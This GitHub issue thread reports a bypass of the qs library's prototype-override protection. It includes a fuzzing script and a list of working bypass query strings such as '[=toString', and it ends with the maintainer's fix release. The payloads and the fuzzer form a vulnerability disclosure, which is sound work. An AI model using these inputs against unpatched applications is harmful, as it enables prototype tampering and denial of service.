Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

prototype override protection bypass problem still exists. #200

Closed
myvyang opened this issue Mar 2, 2017 · 6 comments · Fixed by #201
Closed

prototype override protection bypass problem still exists. #200

myvyang opened this issue Mar 2, 2017 · 6 comments · Fixed by #201

Comments

@myvyang
Copy link

myvyang commented Mar 2, 2017

as the bug https://snyk.io/vuln/npm:qs:20170213 report fixed, but the other bypass

a = qs.parse("[=toString", {allowPrototypes: false})
// { toString: true }

still exists.

@fengmk2
Copy link

fengmk2 commented Mar 2, 2017

Yep, it's only fixed ]=toString, but [=toString not fix.

image

@myvyang
Copy link
Author

myvyang commented Mar 2, 2017

i also write a simple tool to find this kind of bug. maybe it's also useful for other querystring implemention.

var qs = require("qs");

var meta = ['\\', '"', '\'', '[', ']', '.', 'toString', '='];
var length = meta.length;

var s = [];

var gen = function(n) {

    if (n == 0) {
        var query = s.join('');
        var o = qs.parse(query);
        if (!(typeof o.toString === 'function')) {
            console.log(query);
        }
    } else {
        for(var i = 0; i < length; i++) {
            s.push(meta[i]);
            gen(n-1);
            s.pop();
        }
    }
}

for(var i = 0; i < 6; i++)
    gen(i);

string which will bypass the protection (maybe caused by the same problem):

[=toString
[\=toString
["=toString
['=toString
[[=toString
[.=toString
[toString=toString
[\\=toString
[\"=toString
[\'=toString
[\[=toString
[\.=toString
[\toString=toString
["\=toString
[""=toString
["'=toString
["[=toString
[".=toString
["toString=toString
['\=toString
['"=toString
[''=toString
['[=toString
['.=toString
['toString=toString
[[\=toString
[["=toString
[['=toString
[[[=toString
[[.=toString
[[toString=toString
[.\=toString
[."=toString
[.'=toString
[.[=toString
[..=toString
[.toString=toString
[toString\=toString
[toString"=toString
[toString'=toString
[toString[=toString
[toString.=toString
[toStringtoString=toString

@gxcsoccer
Copy link

😭

@dead-horse
Copy link
Contributor

@kamael please check this #201

@ljharb
Copy link
Owner

ljharb commented Mar 2, 2017

Thank you, I'll take a look at this.

In the future, please use responsible reporting practices to submit security issues, which means not posting them publicly until a fix has been released.

ljharb pushed a commit to dead-horse/qs that referenced this issue Mar 6, 2017
ljharb pushed a commit to dead-horse/qs that referenced this issue Mar 6, 2017
@ljharb
Copy link
Owner

ljharb commented Mar 6, 2017

Released in v6.4.0, v6.3.2, v6.2.3, v6.1.2, v6.0.4.

ljharb pushed a commit that referenced this issue Mar 7, 2017
ljharb pushed a commit that referenced this issue Mar 7, 2017
ljharb pushed a commit that referenced this issue Mar 7, 2017
ljharb pushed a commit that referenced this issue Mar 7, 2017
ljharb pushed a commit that referenced this issue Mar 7, 2017
ljharb pushed a commit that referenced this issue Mar 7, 2017
ljharb pushed a commit that referenced this issue Mar 7, 2017
ljharb pushed a commit that referenced this issue Mar 7, 2017
@ljharb ljharb added the parse label Jun 15, 2017
robocop bot referenced this issue in goeltanmay/PatientsApp Nov 14, 2017
robocop bot referenced this issue in goeltanmay/PatientsApp Nov 14, 2017
robocop bot referenced this issue in goeltanmay/PatientsApp Nov 14, 2017
robocop bot referenced this issue in goeltanmay/PatientsApp Nov 14, 2017
robocop bot referenced this issue in goeltanmay/PatientsApp Nov 14, 2017
robocop bot referenced this issue in goeltanmay/PatientsApp Nov 14, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants